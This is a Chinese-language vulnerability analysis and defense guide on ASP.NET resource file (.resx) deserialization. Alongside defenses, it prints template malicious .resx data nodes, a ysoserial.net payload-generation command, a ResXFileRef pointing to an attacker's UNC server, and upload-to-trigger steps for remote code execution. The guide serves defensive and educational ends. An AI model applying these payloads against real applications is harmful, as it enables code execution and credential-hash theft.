ASP.NET资源文件(.RESX)反序列化漏洞分析与防御指南

1. 资源文件概述

ASP.NET应用程序中的资源文件(.resx)是XML格式文件，用于存储本地化资源如用户界面字符串和对象。这些文件可以编译为.resources扩展名的二进制文件。

关键特性：

• 支持存储序列化对象
• 支持三种序列化格式：
  • BinaryFormatter
  • SoapFormatter
  • TypeConverters
• 支持外部文件引用(UNC路径)

2. 漏洞原理

资源文件的反序列化机制存在安全隐患，攻击者可通过精心构造的.resx或.resources文件实现远程代码执行(RCE)。

2.1 漏洞根源

• 无限制的反序列化：资源文件处理器无法预先验证序列化对象的类型
• 多种序列化途径：即使防护了BinaryFormatter，攻击者仍可使用SoapFormatter或TypeConverters
• 外部资源引用：支持UNC路径可能导致SMB哈希劫持或文件枚举

2.2 受影响的组件

• System.Resources命名空间下的类：
  • ResourceManager
  • ResourceReader
  • ResourceSet
• 相关工具：
  • resgen.exe (资源文件生成器)
  • winres.exe (Windows Forms资源编辑器)

3. 攻击向量分析

3.1 BinaryFormatter反序列化

触发条件：
当data或metadata标签的mimetype属性为以下值时：

• application/x-microsoft.net.object.binary.base64
• text/microsoft-urt/psuedoml-serialized/base64
• text/microsoft-urt/binary-serialized/base64
• 空值

攻击示例：

<data name="malicious" mimetype="application/x-microsoft.net.object.binary.base64">
  <value>[Base64编码的恶意序列化对象]</value>
</data>

Payload生成：
使用ysoserial.net工具生成：

./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "恶意命令"

3.2 SoapFormatter反序列化

触发条件：
mimetype属性为：

• application/x-microsoft.net.object.soap.base64
• text/microsoft-urt/soap-serialized/base64

3.3 TypeConverters反序列化

三种攻击场景：

1. Byte数组转换：

<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" 
      type="完全限定程序集名称">
  <value>Base64编码的字节数组</value>
</data>

2. 字符串转换：

<data name="test1" type="完全限定程序集名称">
  <value>恶意字符串</value>
</data>

3. 外部文件引用：

<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
  <value>\\攻击者服务器\payload.resx;完全限定程序集名称</value>
</data>

3.4 文件上传漏洞利用

利用条件：

1. 可上传.resx或.resources文件
2. 上传目录可网络访问
3. 上传目录未禁用ASP.NET处理程序(*.aspx等)

攻击步骤：

1. 上传恶意资源文件到App_LocalResources目录
2. 访问任意不存在的ASP.NET文件触发反序列化
   • 如：/upload_dir/App_LocalResources/malicious.resx
   • 访问：/upload_dir/nonexist.aspx

4. 防御措施

4.1 代码层面防护

1. 禁用危险序列化：

// 使用安全的ResourceReader替代方案
var reader = new ResXResourceReader(filePath) {
  UseResXDataNodes = true  // 避免自动反序列化
};

2. 自定义安全解析器：

• 使用XmlReader解析.resx文件
• 禁用DTD处理防止XXE
• 只处理纯文本资源，拒绝包含序列化对象

4.2 服务器配置

1. 文件上传防护：

• 禁用上传目录的ASP.NET处理程序
• 使用白名单限制上传扩展名，明确排除.resx和.resources
• 设置上传目录不可执行

2. IIS配置：

<configuration>
  <system.webServer>
    <handlers>
      <remove name="ASP.NET" />
    </handlers>
  </system.webServer>
</configuration>

4.3 其他措施

1. 启用MOTW(标记网络文件)：

• 确保从网络下载的文件带有Zone.Identifier标记
• 注意：非IE/Edge浏览器下载的文件可能无此标记

2. 工具使用防护：

• 更新至已修复的Visual Studio版本(2018年7月后)
• 使用resgen.exe时检查MOTW

5. 漏洞检测

1. 静态分析：

• 检查代码中使用ResourceManager、ResourceReader等类的位置
• 确认是否处理了用户可控的资源文件

2. 动态测试：

• 尝试上传测试.resx文件
• 使用ysoserial.net生成测试payload
• 监控反序列化行为

6. 参考资源

1. Microsoft安全公告
2. ysoserial.net工具
3. OWASP文件上传防护指南
4. NCC Group技术报告

7. 总结

ASP.NET资源文件反序列化漏洞是一个严重的安全威胁，攻击者可通过多种途径实现远程代码执行。开发人员应严格验证资源文件来源，禁用危险的序列化功能，并按照安全最佳实践配置服务器环境。对于必须处理资源文件的应用，建议实现自定义的安全解析器替代默认实现。